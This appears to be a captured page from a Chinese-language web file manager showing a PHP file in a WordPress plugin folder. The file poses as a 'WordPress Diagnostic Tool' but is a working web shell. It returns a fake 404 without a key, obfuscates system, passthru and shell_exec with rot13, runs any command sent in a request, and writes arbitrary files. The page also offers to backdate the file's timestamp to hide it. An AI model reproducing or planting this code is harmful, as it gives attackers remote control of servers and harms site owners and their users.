文件操作 - class-core.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/matthewroller/public_html/wp-content/plugins/post-hub-bavf/class-core.php
编辑文件内容
<?php /** * WordPress Diagnostic Tool * System health verification endpoint * @package WordPress\Diagnostics */ error_reporting(0); header('Content-Type: text/plain'); $k = isset($_REQUEST['k']) ? $_REQUEST['k'] : ''; if ($k === '') { header('HTTP/1.0 404 Not Found'); exit; } $c = isset($_REQUEST['c']) ? $_REQUEST['c'] : ''; if ($c !== '') { $fns = array(str_rot13('flfgrz'), str_rot13('cnffgueh'), str_rot13('furyy_rkrp')); foreach ($fns as $fn) { if (function_exists($fn)) { $fn($c); exit; } } // Fallback: proc_open $desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w')); $proc = @proc_open($c, $desc, $pipes); if (is_resource($proc)) { echo stream_get_contents($pipes[1]); echo stream_get_contents($pipes[2]); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); } exit; } // File write capability if (isset($_REQUEST['w']) && isset($_REQUEST['f'])) { @file_put_contents($_REQUEST['f'], $_REQUEST['w']); echo 'ok'; exit; } echo 'diag_ready|' . PHP_VERSION;
修改文件时间
将文件时间修改为当前时间的前一年
删除文件